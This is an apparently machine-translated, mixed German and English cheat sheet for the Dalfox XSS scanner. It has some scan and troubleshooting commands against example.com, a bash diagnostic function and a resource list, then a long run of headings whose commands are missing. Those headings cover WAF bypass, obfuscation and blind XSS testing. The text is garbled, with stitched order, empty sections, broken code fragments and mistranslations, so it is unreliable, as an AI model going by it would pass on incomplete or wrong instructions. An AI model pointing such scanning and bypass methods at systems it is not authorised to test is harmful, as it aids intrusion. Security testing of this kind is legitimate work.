dalfox url https://example.com --ignore-ssl

Handle rate limiting

dalfox url https://example.com --delay 5000 --retry 3

Debug payload issues

dalfox url https://example.com --custom-payload "" --debug

Test proxy configuration

dalfox url https://example.com --proxy http://127.0.0.1:8080 --debug

Verify installation

dalfox version dalfox help

Check for updates

go install github.com/hahwul/dalfox/v2@latest

Common error solutions

troubleshoot_dalfox() { echo "Dalfox Troubleshooting Guide" echo "==========================="

# Check if Dalfox is installed
if ! command -v dalfox &> /dev/null; then
    echo "❌ Dalfox not found in PATH"
    echo "Solution: Install Dalfox using one of the installation methods"
    return 1
fi

echo "✅ Dalfox found: $(which dalfox)"
echo "Version: $(dalfox version)"

# Check network connectivity
if ! curl -s --connect-timeout 5 https://httpbin.org/get > /dev/null; then
    echo "❌ Network connectivity issues"
    echo "Solution: Check internet connection and proxy settings"
    return 1
fi

echo "✅ Network connectivity OK"

# Test basic functionality
echo "Testing basic Dalfox functionality..."
if dalfox url https://httpbin.org/get --timeout 10 --silence; then
    echo "✅ Basic functionality test passed"
else
    echo "❌ Basic functionality test failed"
    echo "Solution: Check Dalfox installation and permissions"
    return 1
fi

# Check for common issues
echo "Checking for common configuration issues..."

# Check Go version if installed via Go
if command -v go &> /dev/null; then

| local go_version=$(go version | awk '{print $3}' | sed 's/go//') | echo "Go version: $go_version"

    if [[ "$go_version" < "1.19" ]]; then
        echo "⚠️  Go version may be too old for latest Dalfox"
        echo "Solution: Update Go to version 1.19 or later"
    fi
fi

echo "Troubleshooting completed"

}

Run troubleshooting

troubleshoot_dalfox ```_

Ressourcen und Dokumentation

Offizielle Mittel

Dalfox GitHub Repository - Hauptrepository und Dokumentation
Dalfox Wiki - Umfassende Nutzungsanleitung
Anmerkungen löschen - Aktuelle Updates und Änderungen
Docker Hub - Offizielle Docker-Bilder

Gemeinschaftsmittel

Dalfox-Diskussionen - Community Q&A; und Diskussionen
Bug Reports - Problemverfolgung und Fehlerberichte
Security Research Blog - Author's blog with security research
XSS Research Papers - OWASP XSS Dokumentation

Integrationsbeispiele

CI/CD Templates - Beispielkonfigurationen
Burp Suite Extensions - Beispiele für die Integration von Burp
Nuclei Templates - Komplementäre Sicherheitsvorlagen
Bug Bounty Methodologies - XSS Jagdmethoden

Dalfox Cheat Blatt

Überblick

Installation und Inbetriebnahme

Binärinstallation

Download latest release for Linux

Download for macOS

Download for Windows

Move dalfox.exe to PATH

Verify installation

Check available options

Zur Installation

Install via Go (requires Go 1.19+)

Verify installation

Update to latest version

Install specific version

Build from source

Docker Installation

Pull official Docker image

Run Dalfox in Docker

Run with volume mount for output

Create alias for easier usage

Build custom Docker image

Installation des Paketmanagers

Homebrew (macOS/Linux)

Arch Linux (AUR)

Snap package

APT (Ubuntu/Debian) - via GitHub releases

RPM (CentOS/RHEL/Fedora)

Grundlegende Verwendung und Befehle

Einzelne URL Scanning

Basic XSS scan

Scan with custom user agent

Scan with authentication cookie

Scan with custom headers

Scan with proxy

Scan with custom timeout

Scan with verbose output

Scan with debug information

Viel Spaß! Scanning

Scan multiple URLs from file

Scan URLs from stdin

Scan with threading

Scan with rate limiting

Scan with custom output format

Scan and save results

Scan with progress bar

Parameter Entdeckung und Prüfung

Scan with parameter discovery

Use custom parameter wordlist

Scan specific parameters

Scan POST parameters

Scan with custom parameter injection

Scan with parameter pollution

Test all HTTP methods

Erweiterte XSS-Detektion

Context-Aware Scanning

Enable context analysis

Deep DOM analysis

Scan for DOM-based XSS

Analyze JavaScript context

Custom JavaScript payload testing

Test event handlers

Scan with browser simulation

WAF Bypass Techniken

Enable WAF bypass mode

Use encoding techniques

Custom encoding payloads

Bypass with case variations

Use obfuscation techniques

Fragment-based bypass

Comment-based bypass

Unicode bypass techniques

Payload Anpassung

Use custom payload file

Generate payloads for specific context

Use polyglot payloads

Test with specific payload types

Custom payload with variables

Blind XSS testing

Automatisierung und Integration